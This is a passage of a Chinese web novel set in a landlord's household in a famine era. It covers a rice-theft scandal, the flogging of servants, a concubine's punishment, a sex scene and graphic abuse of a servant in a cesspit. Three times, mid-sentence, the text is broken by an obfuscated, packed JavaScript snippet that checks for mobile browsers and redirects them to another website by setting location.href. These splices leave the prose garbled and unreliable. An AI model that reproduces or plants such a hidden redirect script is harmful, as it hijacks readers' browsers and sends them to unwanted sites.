“我在神木时就知道，那天杀的邱守成要收贡米回辞水。你以为他要那些米是拿来吃的？大错特错！他收这些米是想偷偷囤着，入冬后起高价再向总督换大枪！” “大枪？”这显然触及到了女人的知识盲区，“啥是大枪？” “大枪就是快枪，又大又快的枪！一发子弹能射穿一堵墙！” 周铁生的眼里燃起了火。 “这世道，谁有了大枪谁就能做主。早年在晋中发人牙子横财的邱家，当年就是凭借邱老太爷一杆快枪，走到了秦地。太爷见这里牛羊肥美、水土丰人，于是下定决心在这里安身立命。不然你以为光凭发卖人畜，能卖出这样大的家业？！那是因为人家祖上就有枪，大枪！大枪指着你脑袋要你掏钱你敢不给？看看你们这些太太吃的、穿的，哪样不是咱这样苦出身的人身上抽榨出来的！你也是庄稼地里长出来的人，现在外面饥荒闹得这样凶，你敢说你一点都没触动？!” 男人说得面含热泪，让沈素秋无地自容。如果说刚刚用戒尺打完男人以后的眼泪让她分不清真假，那么现在他眼里的眼泪水一定是真的。 因为她曾在父亲死前的那双眼里，见过同样的泪水和绝望。 “总之这事你别管，我自有数。”周铁生退后三步，扑通一声跪下，叩首一大拜。 “我今不是拜素秋，是拜邱家的六姨。谢六姨太宽容我这么些天光景，我这些天卧在马棚的草堆里常想，以后还能不能有这样的大把时间欣赏云来风去、鸟叫蝉鸣。我是个本就没爹没妈的苦人，在这世上，来无牵、去无挂，难得有人看得上我，把我放手心。我活了这把岁数，忙来忙去，心里最放不下你，还是只有你。” 沈素秋撑在床沿边上，心如沸湖，有千万重漪浪。但睥着男人这张黝黑高傲的面庞，她也不知道该说些什么了。 片刻后，她走过去，手放到他肩上轻轻点了点。 像是得到某种神圣而不可言破的感召一般，男人狠下心来，一鼓作气地站起身子，将女人抱上了床。 室外扬起一阵兰香。 两人像两只欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265096|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畅的土拨鼠般抓扒着彼此身上的皮毛，那些多此一举乃至稍显累赘的裤袜衣衫，此时就像限制他们觅食啃咬的枷锁一般繁重。男人将女人单手抱在自己萝卜般结实的大腿上，另一只手扶住她后脑，以防接下来的动作太过激烈，翻仰磕碰到床角。 搓粉抟朱、握云携雨间，周铁生莫名想起儿时在乡间溪头看到的那些洗衣裳的妇女，和她们手上被绞成一股的湿衣。各色灰麻黄褐的布料拧成手臂状粗细，被反复濯荡在清透的水域里。 那些衣裳被高高举起，重重摔下，女人的手和棒槌在上面反复揉搓捶打——恰如他此时此刻想对待沈素秋的心。 他想像清洗那些衣裳一样去涤荡这副身体，又想像供奉粮食般将她捧上心寰。他将如挥鞭而起的马上客，将爱和欲.望从这具身体的毛孔里笞打出来，随它们如鞭尾巴尖儿上的灰尘一样，飘舞在碎玉乱琼的纯白之境。那里没有饥荒没有战乱没有生不逢时没有山河国破，有的只是他和这个女人深深嵌合的肉与魂。 他们在那里是两根互相缠绕的麦穗，共同汲吸着共一份土壤，沐浴同一份阳光，也将一同经历轮回四季、日月风霜。 性.爱如耕耙，无非劳作的事。像热爱土地一样投身欢爱，汗水就是甘霖。 ....... ....... 周铁生后半夜出的房门，改走苗圃小道，翻过围墙，一阵轻跑后，躺回到下人房里的一字土炕上时刚过三更天。 众家丁男工一应睡去，打齁放屁声彻夜不绝。周铁生才从激奋的顶峰跃下，手间还残留着那女人的涎香。他用他的牛鼻子闻了一闻，心满意足地舔了舔。 回过头来，看见炕上正在熟睡的毛五。 周铁生放下旖旎浮想，去门外冲了个凉，直到身上再也闻不出那女人房里的兰香味，才拎着木桶和粗布回到了炕上。 毛五还深睡着，布满沟纹褶皱的老脸，在月色下如同一张生裂的鼓皮。周铁生又想起他那位可怜的老父亲，趁着无人发觉，笑着捏了把他脸。 第二天大早，邱府的大院炸开了锅。府上甭管大的小的老的少的男的女的甚至一猫一狗都被集中喊到了院子里。 大院里三层外三层的兵差拿着枪，一身警戒地堵死在邱府各个关键出入口。 负责看管天字号粮仓的几个爷们被扒光衣服吊在了高高的刑架上。廊下太太们被强摁着坐在椅子上品花喝茶，张启明一身戎装，腰间足足别了五把枪坐镇厅堂。 沈素秋坐在大太太身旁，听张少尉讲：“今我要禀一件大事，还望几个姨姐坐住了，可别吓断了腿。” 大太太如芸见这阵仗，猜到有事发生，但具体是什么还不得而知。 张少尉说：“前些日子粮仓里出了只鼠王，莫名丢了七十斗米。我暗中调查多日无果，一筹莫展之际，就在今早交班时，被我带人埋伏抓了个正着。正是院里头这几个黄皮老鼠不知天高地厚，利欲熏心，想偷粮换些金银财宝，好用作喝酒狎妓。一应财物已被我缴回，可米已经追不回来了。烦请夫人今日事后，亲自向邱老太爷修书一封，我也会向总督如实汇报。毕竟这不光是宪兵队的事，也不光是邱府的事，事关重大，你我须各自听取主人意见，再做打算。” “只是，该有的惩戒还是要有。” 流水的刑具被一一摆在了案头。 围观的家仆个个面色惨白，大气也不敢出。 张少尉见太太们也都有些紧张害怕，忙调笑道：“无妨。认真说起来，还得要感谢一个人。” 如芸捂着胸口，心惊肉跳道：“谢谁？” “谢那个跟我举报的人。”少尉含下一口茶水，温温一笑，“她就是府上的六太太。闺字素秋。” 23.第二十三捧麦 “哐当”一声碎响，雪樵手上的茶碗先落了地。 她难以置信地看向身旁的沈素秋，又望了望院子里的周铁生，比他们本人更先一步乱了阵脚。 正中的张少尉出列行礼道，“我是个好坏分明的人，早就听说周相和六太太是年少旧识，两人青梅竹马，渊源颇深。这次她肯主动站出来检举周相，实乃大义灭亲之举。还请夫人不要责怪她先前隐瞒粮仓失窃，这也是我的意思。在没有查清楚真相前，不宜惊动总督和邱老太爷。不过现在既已将人抓捕归案，案情也已明了，我等也可以各自向主人汇报了。” 傅如芸微微一叹，比雪樵还要难以相信眼前这个看着瘦瘦小小、走路还有些带跛的裹脚女人，心中居然有这样胆大包天的成算。而一旁刚刚经历逝子之痛的凤霞也被张启明的话给惊讶到了。七十斗粮绝非小数目，同样的事即使发生在为人老成的自己身上，一样会被吓破了胆。 可沈素秋呢？她好像从今天起床起就一副习以为常的样子。她照旧梳底盘发，插碧玉簪，一身从头到脚的古绿，和她的名字“素秋”大相径庭。她是秋，却总穿得像春天，沈素秋记得自己对某人说过，她最喜欢的颜色就是绿色，因为绿色代表生机、活力，是庄稼苗生长的颜色。 是南方的颜色。 原谅她从没去过秦地之外的地方，她最远一次远门，也只是渭源以东七百里的陈仓。那是她去过最远的地方，也是和辞水一般并无二致的平原、黄土。要想见到绿色，就像从周铁生荷包袋里抠出冰糖一样难。辞水比不得她在书上读到的“春风又绿江南岸”的南方。 ....... 午后日头越发毒辣，廊下的太太也都一个个有些坐不住了。男人们的惨叫声随着一连串厚重的鞭响，回荡在立秋后的半园金黄里。 沈素秋安心饮着茶，看着周铁生那张被打得血呼哧啦的脸，无动于衷。昨晚才温存过的那具身体已经没有一处地方经得起细看，男人顶着浑身血痕，奄奄一息地吊在风里，像是一颗快要熟透的黑桃王果，轻轻一捏就能爆开酱汁。 行刑的兵差们人也打累了，手也打麻了，仿佛失了所有兴致和手段，鞭打声越来越小，那群爷们的呼吸声也越来越弱。 “求财东明察，明察啊........！” 被抓的人不替自己申辩，人堆里却有了哭声。毛五穿着身破烂，撑着那副快要垮掉的身子骨，扬沙上前。 “少尉大人明眼是非，可却搞错了一件事：真正偷粮的不是他周相，是我毛五，你要来就来抓我........！” 沈素秋的眼里终于有了动容，她稍稍直起身，用帕子擦了擦嘴，继续隔岸观火。 “毛老五，我跟你非亲非故，你何苦要自己揽罪........” 周铁生的意识完全模糊了，他感觉自己被抽榨干的不是今天这场行刑，而是昨晚某人的枕榻。昨天一晚他就像参军离家的前夜般，将所有希望、关怀和忐忑都倾注给了那个女人，从霞飞苑的偏门走出去的那一刻起，他就已经猜到了如今的结局。 “你先别说话.......你省点力气.......”毛五有意挡住他的嘴，旋身跪在众太太面前，卑躬屈膝道，“那七十斗粮是我偷的，是我偷的........” “是你偷的？”张少尉负手而立，面容冷峻，“你说是你偷的，那么我问你，那些粮又去了哪里？还有我为什么能从他们的炕房里，搜到那么一大堆玉石珠宝？你一个七十老汉，要那么多粮干什么？还有那么多的粮，你一个人怎么可能搬得动。” 毛五声泪俱下：“这正是我想坦白的。” 他顿了顿，回头看了眼周铁生和他身边那群只剩半条命的弟兄们，语气更加坚决。 “早从老爷还没去湘西前，我就打听到他这次是要去赶趟进米。进的还是清廷的皇粮米，一斗值千金。我一个七旬老汉，的确吃不了这么多米，可我是家中砥柱，庄上一个媳妇婆，七个女儿，一个儿子。他们虽都已成家，可也有自己的孩子，他们的孩子，也都张嘴等着吃饭，七十斗于我那一大家子人而言并不算多。何况现在外面饥荒闹得人心惶惶，听说关外的难民快卷到了姑娘坡，相信不久后就要破城。我听了远房亲戚的话，早早打算着未雨绸缪，想着在难民进城前捞一笔横财，带着我那一家十数口人逃到黄河那边。至于财宝.......” 他一时顿住。 高堂上的沈素秋轻摇团扇，婷婷袅袅道：“禀少尉大人，那些财宝据我所知，都是周相卖米换来的。可现在听毛五这么说，恐怕有些别的隐情也未可知啊........” 说着深深带了钟雪樵一眼。 三房蕙质兰心，心领神会道：“其实要查验毛五的话是否是真，一搜便知。他不是说这皇粮都拿给家里人吃了吗？那家里总会还有结余。就算不多，一粒一颗也作数。他儿子的宅地就离邱府不远，带人前去搜查一番，是真是假，顷刻了然。” 张启明略一思量，觉得有理，立马吩咐了几个亲信快马前去。 不过一盏茶功夫，亲信来报：说从毛五儿子毛小八位于南城巷的偏房毛毡子地找到一小把贡米。这米和秦米不同，兵差一眼认出，当场将毛小八和他四个嗷嗷待哺的幼子一起，押进了邱府。而毛小八媳妇外出浆洗做工，侥幸躲过抓捕。 看着毛五一家三代六口老少齐齐跪在院子前，众人纷纷哀叹。傅如芸攒紧了佛珠，道尽“阿弥陀佛”后，说：“幼子无辜。犯错的是老子，还请少尉抬抬手，放过毛五儿孙一家。况且他们也非邱府人，我们没理由对人家动刑——” “当然了，”她又笑，“宪兵队的爷儿们连参谋长都敢杀，杀个草民眨眨眼的事。只是你看府里这么多双眼睛瞧着，要真强动刑，只怕以后传出去不好，有碍少尉的清誉。” “太太言重了，”张启明眼中闪过惶色，“我压根没想过要毛五子孙一家怎样，我虽对偷粮一事气愤，但不至于善恶不分。我不滥杀，但也绝不错杀.......” 他走下台阶，来到院子中，不可一世地看着跪在地上的毛五，冷冷道：“但即便如此，你还是没回答我刚刚最后一个问题。那就是你一个这么瘦的人，是怎么把那七十斗米运出府的？” “是我。” 周铁生呵地一笑，笑里充满蔑视。 “是他托我帮他运出府的，我不知里头是粮。他跟我说，麻袋里装着的都是给儿子的骡皮驴皮。从前府里死了畜生，粗制的皮货都由下人自行处理。毛五从前拜托了我多回，我没有怀疑。只打开口子草草看了一眼，看到都是些皮子就没多想，现在一回味，那么米很可能就混在那摞皮子里，少次多量地驮了出去。” “那那些珠宝又是怎么回事？！” 张启明还不死心。 “你别以为还能像之前那样，三言两语将我哄骗。枉我之前还把你当兄弟，还说要给你写介绍信，推荐你来宪兵队。周相，你这样搞我，搞死你自己就罢了，这是连我的乌纱帽都要搞掉！” “周相不敢！” 毛五跪爬上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271798|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前，拉了拉少尉的军统靴后跟。满院子老少呜呼哭嚎。 “我本来就不知道那些珠宝哪里来的，跟你说了千百遍，你非不信！你光信那个女人说的一切，一个字也不信我，一味地咬定我，我又有什么办法？！” 屋里的沈素秋把心提到了嗓子眼。 “你既那么信她，就问她去吧！我对她已无情！” 众房太太悉数投来同情与安抚的目光。沈素秋低着头，眼泪堆在眼窝里，被风一挑，还是幽幽地落下了。 “启明，”大太太如芸和颜道：“以我所见，不如就按你说的，咱们把今天听到的这一些，无论是周相的还是毛五的，一并汇给老爷和总督大人吧。你说咱们一伙子人围在这里，问来问去，也问不出个决断。不管他们之中谁真谁假，也都无所谓了。周相你也罚了，你自己也说粮食进了肚子铁定追不回来了。要我来说，就先把他们都关押起来，听听老爷和总督的意思，再做定论不迟。你说呢？启明。” 她又叫了遍启明。 张启明咳嗽两声，走到周铁生身边，上下打量了许久。他拔出腰上的枪，“嘎达”一声上了膛，冷冰的枪管直抵男人眉心。 “姓周的我告诉你，别再给我耍什么鬼心眼子。不然老子一枪崩了你！” 周铁生吸着鼻孔里滋滋往外冒的血，自豪地笑了。 “大人，”他扬起脸，露出一抹轻哂，满口不屑道：“我悦意被你崩咧。” 午饭后沈素秋自个儿领了三十个巴掌。 掌刑的婆子依如芸吩咐，没用戒尺，改用新鲜削好的生竹片，啪啪啪啪地往女人脸上一通猛抽。 三十下很快结束，沈素秋半边面庞被打得红肉交错。生竹片边缘锋利，质地如钢，是比戒尺要痛上十倍的存在。 “下次还敢擅作主张吗？” 小轩窗，正梳妆，扶桑花丛后的如芸在二房凤霞以及入殓师的陪伴下，给刚死去不久的景明景和勾描死人妆发。 小棺柩一早就备下了，也定好了盖棺的黄道吉日。好歹也是自己眼睛底下长出来的邱家血脉，面子上不能做得太难看。 该她面子难看的，是屋外的沈素秋。 女人深压着那只瘸脚，摇晃着从地上站起来。她伸手抚过还完好的半边脸，下意识扯了扯另外半边的颊肌。 结果发现自己已经痛得说不出话了。每牵一下都像是有千万根针刺入耳膜。沈素秋疼得两眼发白，勉为其难地摇了摇头，就当说过下次不敢了。 “只要我和老爷还在一天，这个家就轮不到你做主。” 看着景明景和唇红齿白的面庞，当真没有一点死人该有的样子，像是还在熟睡一样。 凤霞一脸知足。 “丢粮这么大的事都敢私自隐瞒，看来是留着日子给他想对策了。” “太太我没有.......” “还敢顶嘴！” 一把扇子直接从窗户里飞了出来，扇柄重重砸在女人额角，于是又多一块淤紫。 “滚回你的屋里去，抄一百遍心经再来见我。不抄完不许出门不许吃饭！” 沈素秋不敢多言。 福了一福后，她捂着跛腿和肿脸，十分窘迫地磨蹭出了宛陶居。 路上遇到正押送进厦屋的毛五一群人，周铁生跟在他后面，双手手脚都被上了镣铐。 两人远远望了一眼，三年后重逢，双方第一次以这样狼狈的姿态出现在对方面前。 不知为何，两人“哧”地一声，同一时间地笑了。 24.第二十四捧麦 “你还笑，脸被打成了这样，要是好不全，以后看你还怎么出去见人。” 婉凝嘴上是埋怨，可眼神里满是关心。她把掺了水红花子 、益母草和蒲黄的乳膏蘸到棉签上，小心为女人点涂着。沈素秋紧抓着桌角，竭力忍受膏药带来的新的刺痛。药涂完了，人已经废了，整张脸像是不属于自己似的，疼得已经没有了知觉。 “这是民间的土方，我小时候调皮被我娘打了，她也会让下人给我抹这个。” 婉凝放下棉签，看着一语不发地沈素秋，陪她一起看起门外的萧萧落叶。 “你别难过了，”邱婉凝说，“来之前我替你看过了，他很好。我叮嘱过那些人，我爹回话前，谁也不许动他，这也是我娘的意思。” “那替我谢过夫人了。” 沈素秋生怕又被抓到了错处，给自己再扣个尊卑不分的罪名，那么恐怕另外半张脸也要被打肿了。 这是她嫁进邱府以来受最重的刑，傅如芸鲜少动怒，尤其对各房的姐妹。先前撞见温灵做那事都能睁一只眼闭一只眼说成“野猫”，可想而知这次自己真是触到了她的逆鳞。 “不然让我说点开心的事吧~” 婉凝还是和从前一样，没心没肺的样子。这些天来她忙得脚不沾地，成天和她那帮在女校的同学们躲在屋子里谋划着什么。沈素秋看她经由这些天的浸泡，眼神更清亮了，身板也更直挺了，像是泡在蜜罐里的糖糕被风干后变成了砖头一样，比之从前更加硬气。 “你看，这是什么。” 邱婉凝把一张传单放到两人之间的矮脚桌上。 “欢迎小妈加入我们新创建的新女子学社。” “什么叫新女子学社？”沈素秋想可能自己真的是落伍了，时代的巨轮杳杳碾过，大枪大枪不知道，新女子学社学社不知道，这些生涩新奇的名词非但没有让她期待，反有带给她一股未知的恐惧。 她感觉现在挺好的呀，母亲沈赵氏说过，上嫁吞针，下嫁吃屎，这针她吞了三年了，早已和血肉粘连在一起，成为器官的一部分，要取出来反不如意。 她重重地吐了一口气。 婉凝对她的惆怅不以为然，她完全进入到慷慨激昂的陈述阶段，如同她在同学会上的那些例行演讲一样。 “所谓新女子学社，就是鼓励女性摆脱封建陋习而创办的联谊组织。我们学习苏联女性的平权意志，鼓动更多像你这样的女人走出宅院，投入到社会生产，创造个人价值。女人不再只是围着锅炉碗灶打转的骡驹，也不只是唯丈夫独尊的丫鬟婢女，更不是他们生儿育女的工具........” 婉凝说了很多，可沈素秋一句也听不懂。或者说，她不想懂。这是她不敢涉足的陌生新世界。 看着沈素秋一脸兴趣淡淡的模样，邱婉凝打住兴头，想了想，又笑道：“不过啊，有一件事你肯定会喜欢。” 她凑过去，趴在女人耳朵边，闻着她脸上的药油香说：“现在西方鼓励婚姻自由、恋爱自由，你和他........” “什么叫自由？” 沈素秋更懵了。 “就是你想和谁跟谁好就跟谁好，你想和谁在一起就在一起。不必听从父母宗族的安排，也不必受制于别人的胁迫。天下有情人终能成眷属！” 邱婉凝不留余力地向她描绘着女子学社将为这个女人敞开的彩虹般的怀抱，可沈素秋还是一知半解的模样。她想了想，还是觉得荒谬，连父母之命都能舍弃的人，那不就是大不孝的孽子？这还有没有天理？ “总之我不逼你，”邱婉凝把传单塞到她手上，“你这些天搁屋里好好琢磨琢磨我说的话，学社永远欢迎你的到来。” 沈素秋说：“真羡慕你，永远可以做自己想做的事。” “这就是自由啊，”邱婉凝又把话绕了回来，笑嘻嘻道：“爱情也可以自由。” “我已经没功夫考虑自由不自由了，”沈素秋敲打着自己那只被压麻的腿说，“刚刚雪樵来陪我坐了一会，说那几个兵差表面上说不会把他们怎么样，可私下少不了羞辱责打，听厦屋那头一片鬼叫就知道了，他在里面一定不好受，我已麻烦雪樵替我去看看某人了。” “话说，”一提到周铁生，邱婉凝的心里难免起疑云，“这事真不是你跟他故意串通好的？” “连你也这么想吗？” 沈素秋笑了，“我要真有那么大的胆，被太太抓到了，可能早被拖到戚园扔井里了。” “那你还举报他，你可真狠心！” 婉凝一下有了怒意。 “好歹你们也是同乡，认识了那么多年。就算你对他没感情，也没必要这样背后捅刀子.......” 婉凝一把夺过她手里的传单，义愤填膺道：“当真是我看错小妈了。感觉你也和那些俗气的富太太一样，府里待久了，心也变得变.态又扭曲。” 她没给沈素秋半句解释的机会，茶也不喝就走了。沈素秋还还没来得及起身送她，人已经跑出了院子外，那流蹿的步伐，像是自己是什么可怕的怪物一样。 屋里就又只剩她自己一个人。 ........ “带来的吃食各位爷都看过了，这一份是给你们的，特意配了酒，小厨房里的勺勺客在邱府做了三十多年的炊事，一手带把肘子和带青红丝的水晶饼做得最是诱人。各位爷尽可开怀。” 钟雪樵命丫鬟把食盒放到亭子里的石桌子上，三五位兵差看着有好吃的，又是这样一个美人亲自送来，一个个又敬又爱，哪里顾得上公差。 “容我一炷香时间，我进去看看他们就出来。” 雪樵将一碟子糕点捧到一个看着像是领事的人面前，眼波流转，那人已魂飞天去。 “这是她让我给你带来的。” 看着周铁生狼吞虎咽的模样，钟雪樵蹲在干草堆旁，拿起几块水晶饼轻轻放在了正在睡觉的毛五怀里。 “她让我告诉你，你别恨她。” 周特生止住正在咽食的动作，愣了一愣，摇了摇头：“我不恨她。” “是不恨还是不敢恨。” 雪樵总能发现问题的症结。 周铁生说，“本就是我欠她的。” “当年你也是被逼无奈。”钟雪樵淡淡道：“你俩各有各的难处。要怪只能怪你们生错了年代。生在了这个不把人当人，当章、当画、当冰糖的年代。” “什么章什么画什么冰糖？” 周铁生听得一头雾水。 “没什么，”钟雪樵递给他一块帕子，“擦擦吧。这是她亲手绣的。” “看出来了。”周铁生接过去，刚想用它擦嘴，却一眼瞄到上面的图案。 是一对斗架的花豹。 真的是丑。 别个女人家都绣花绣云绣鸳鸯，沈素秋就喜欢绣老虎绣大花豹。你说绣就绣吧，也绣不出个所以然，老虎都能绣成三只脚，花豹都能成小斑猫，这臭娘们..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283658|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..女红没得救。 “代我谢过她了。” 周铁生收好帕子，用袖子擦了擦嘴。 钟雪樵看了眼外面，说：“我时间不多，就一炷香，我得走了。” “三太太走好。” 男人跪地行礼，对于这位三姨太，他一直心怀敬重。只因他不在邱府的三年，这女人是沈素秋身边唯一的玩伴，明里暗里的肯定帮了她不少。沈素秋的恩人就是他周铁生的恩人，现在她又替沈素秋来带话，由此可见，沈素秋又变成了“蚂蚱”，从举报自己时的不爱跳回了“爱”。她就是这么奇奇怪怪让人摸不着头脑。 钟雪樵拎着空了的食盒，边走边叮嘱丫鬟晚点别忘了把碗碟都收回去。出门时主仆俩走在林荫小道上，深秋时节作祟，园子里叶尽花凋。后园荷塘里，残梗歪倒支离，雪樵最爱的那棵百年丹桂仍在落蕊，纷纷扬扬，如清明时雨，绵绵不绝。 “三太太请留步。” 钟雪樵回过头来，看到的不是预想中的那张脸，而是张启明。 他一身蓝灰色少尉军服，腰系皮带，背挂长枪，像是刚从外面赶回来。 “刚刚我见太太去见了周铁生一面，”张启明行了个礼，“我已将那群贪舌的兵差打了一顿，为了一点吃的就走不动道，我明明叮嘱过他们谁来了都不许放进去的。” 钟雪樵知道这话是在点自己，不由扯了扯笑，回了一福，“少尉不必惊慌。我只是进去送些吃的，聊了两句家常，很快就出来了。” “那是当然，我怎么可能怀疑您。” 张启明抬起脸来，第一次看清她的五官。 他说：“我随邱老爷去湘西进米的这段日子里，常听他提起您。他常说起你方方面面的好，由此可见，几位太太里，他最钟情的还是你。” 钟雪樵垂头不语。 “太太也喜欢丹桂吗？” 张启明目光一顺，看到女人手里把玩着的那一枝花，眼底飘过一丝柔情。 “怎么，少尉也喜欢？” “哦，说喜欢谈不上。”张启明后退一步，腼腆笑笑：“只是当年在西安念书时，男宿门前就有一株丹桂。我那两年常在丹桂花下，也是像今天这样的时节，赏花听雨，看书作画。只是有些怀念从前了。” “少尉久经沙场，却不想也有如此闲情雅致的一面。”钟雪樵抬头望向身后那棵丹桂，神色幽怨，“丹桂木质坚韧，四季葱绿，看似长生，实则花期短暂。如同人生美梦，纷华靡丽，却总有醒来的一刻，美好的东西总是维持不了太久。” 她想了想，把手里的那枝丹桂扔到了路边。 “深宅怨妇一时感慨，让少尉见笑了。” 雪樵抚了抚鬓，道：“我想起屋里还有两盆吊兰忘了浇水，就不多留了。” 她又福了一福，自丹桂花落中的漫漶中姗姗离去。 望着女人萧条的背影，张启明喃喃自语道：“说惜花却把丹桂丢开，说不爱花却又记挂着给吊兰浇水.......” “可能是她不爱丹桂，爱吊兰。” 后头人以为张启明的上一句是疑问，自作聪明地答，并为自己的这个答案感到十分满意。 “你去，把那个花给我捡过来。” 张启明没有理会他的话，静静看着躺在路边的那枝丹桂。 原地还残留着那女人身上的沉香调，他借闻花之名，偷嗅秋后荷塘边的这一缕沉香，天舒云卷后，脸上由衷地勾起一抹红。 25.第二十五捧麦 厦屋里一入夜，鞭痕的伤痛便开始发作。周铁生靠在一根明柱上，听身边的弟兄们呜呼啊呀地叫成一片，他也想跟着他们叫，可看到师父毛五都没吭声，更觉得自己没资格叫痛。 屋外月光一点点渗透进来。 周铁生把之前留下来的几个水晶饼分发给了弟兄们，希望这些圆溜小巧的点心能够缓解他们身上的疼痛。毕竟当初也是他拖几个弟兄下的水，而对于毛五，更是说不出的愧疚，非几个水晶饼就能抹平。 “我知道你想问什么，你什么也不用说。”毛五躺在干草堆里，像是快没有了力气。 “你没必要卷进这个事里头来。”周铁生剖心破肚地对他讲，“你我非亲非故，为我一个外人连累你亲儿子一家，毛老五，这事你办得太不值。” 毛五没搭理他，自顾自地说，“昨个夜里我又梦到了阎王爷，他拿着判官笔，催我赶紧上路。我吓得骡子都没牵稳，连忙跪下来问，阎王爷呀，我到底犯了什么错，你要急着收我？阎王爷说，你没有错，就是时候到了。老天要你三更死，你就不能到五更。这已经不是我第一次头一回做这样的梦了。” 周铁生明白他想说什么。毛五想说的是他已是命烂之人，时日不多。是生是死不过一个翻身的事，或许下一秒钟他就走了。既然如此，在走之前发挥点余热，能让手底下的年轻娃娃们少些诸如此类的“鞭痛”，也算功德一件了。 只是他显然低估了整件事情的险恶，这也不怪他。一个劳作了大半辈子的马仆，人生大部分时间都围在马号里喂草铲屎。他就像他喂养的那些老马，勤恳、沉默、任劳任怨，对诡谲多变的人心有着一种非黑即白的天真。 穷人们总是这样相互取暖，总觉得凭借团结就能冲破桎梏，实则这种团结单薄得像张纸，一万个人的天真和团结，有时抵不过一个人的歹毒。 夜里没过多久屋子就闯进了一伙人，是这些天看守他们的几个兵差。周铁生从他们身上闻到了雄浑的酒气，正要发问，那群人便七手八脚地将周铁生单单拖到了屋外的火棘丛里。 腐叶的霉味冲进口鼻，周铁生刚要撑起身，牛皮靴底已经碾上后颈。 一记闷棍抽在腰眼，周铁生疼得没力气呼喊，绑腿带顺势勒住他的嘴。又一棍紧跟着砸在他的膝盖弯，布帛撕裂声里混着骨节错位的脆响，他的每一根头发都像是要爆裂开一样，惊炸得像是刺猬的毛。 那伙人还不尽兴，又拽着周铁生的衣领把他押到了邱府的粪池边，不容分说地把周铁生的头塞进了粪水里。 “个碎子弹的，就是因为你，老子们被少尉罚了一顿，舔多少回沟子都没法让他高看我们一眼！” 周铁生飞快理清原由：原是为着钟雪樵来看自己的事，这些兵差把受罚的怨气发泄到了自己身上。更有酒精助推，勾起他们的杀欲，一个个跟红了眼的鬣狗似的，恨不得把自己咬死在池边。 “给我好好灌！灌他个一大缸粪水！” 众人呜呼欢叫着，两人负责掰开男人的上下槽牙，两个人负责拉住他的左右唇腔，剩下一人将舀着混着猪尿脬的泔水勺塞进周铁生嘴里。 周铁生只觉胃里一阵翻山倒海的痉挛，陈年的酸水夹着前夜的吃食，当着众人的面一并喷吐了出来。 “这才哪到哪？” 领头的那个又舀起两勺，强插进他喉咙，用力往下面捅。 “给我吃，吃！你不是喜欢偷米吗？！不是总抱怨饿得慌吗？！现在就让你吃个饱！” 周铁生被折磨得泪眼斑驳，不是难过得，是纯纯被熏得。粪水的恶臭溢出鼻孔，他被迫吞饮下那些秽物，喉咙底本能发出一阵咕噜噜的杂音。 “就问你爽不爽？！嗯？！哈哈哈哈！” 那些人嘻嘻哈哈地提着他的四肢，没等他喘上一口气，又像摇着一艘吊床一样，将他拽到了粪池边。 “扑通”一声清响，男人如汤包般坠入池底。恶气熏天的新鲜屎尿蘸了周铁生一身。他屏住口鼻，妄想挣出水面，却又被七八只手死死摁住天灵盖，整个人被重新压回到池子底。 那些人将周铁生像一根葱苗似的反复提溜、浸泡到粪池里，任他三庭五眼挂满屎粪。接着挨个脱下裤子，将那处对准男人的脸，冒着热气的尿柱窸窣流进男人的眉毛眼睛里。 周铁生瘫在齐腰深的粪池中央，终于忍不住了。他被这毫无人性的凌虐逼得大哭。他用力抹去脸上的腌臜，仰天大嚎，哭声很快吸引来了在隔壁粮仓守夜的张启明。 “你们在干什么？！” 饶是张启明见过太多生杀予夺，也还是被眼前情景给吓到了。他忙命人将周铁生从池子里打捞起来，浓烈的熏臭味让众人苦不堪言。张启明紧捏着鼻，让人赶紧带他下去清洗，待周铁生走后，粪池边响起五声尖锐的枪响。 张启明吹了吹枪管，那五个惹事的兵差应声倒下。他没有废话，挥了挥手，又叫来几个手下把那五具尸体拖了下去。 给周铁生洗澡足足用了近百桶水，四五名家丁拿着澡巾给他搓洗。四倍量的皂角、香料往洗澡水里加，这些都是钟雪樵的意思，她已从张启明口中得知周铁生被兵差凌虐的事，半夜从床上爬起来处理。 周铁生当然清楚，这种时候，钟雪樵的关心等于沈素秋的关心。可他感觉自己再也回不到从前了，哪怕用再多的皂角也无法洗净身上的脏臭，熏再多的香料也无法祛除骨子里的异味。他感觉自己脏得不能再脏，往后的很长日子里，周铁生都会疑神疑鬼地感觉自己身上有一股挥之不去的粪臭。 “请你别告诉她，我今晚上遇到的事.......” 相比于挨打受辱，他更不想沈素秋知道自己被扔进了粪池。 钟雪樵点点头说：“我知道轻重。” 她请来了大夫，为周铁生做全身检查，钟雪樵就站在门外等他。 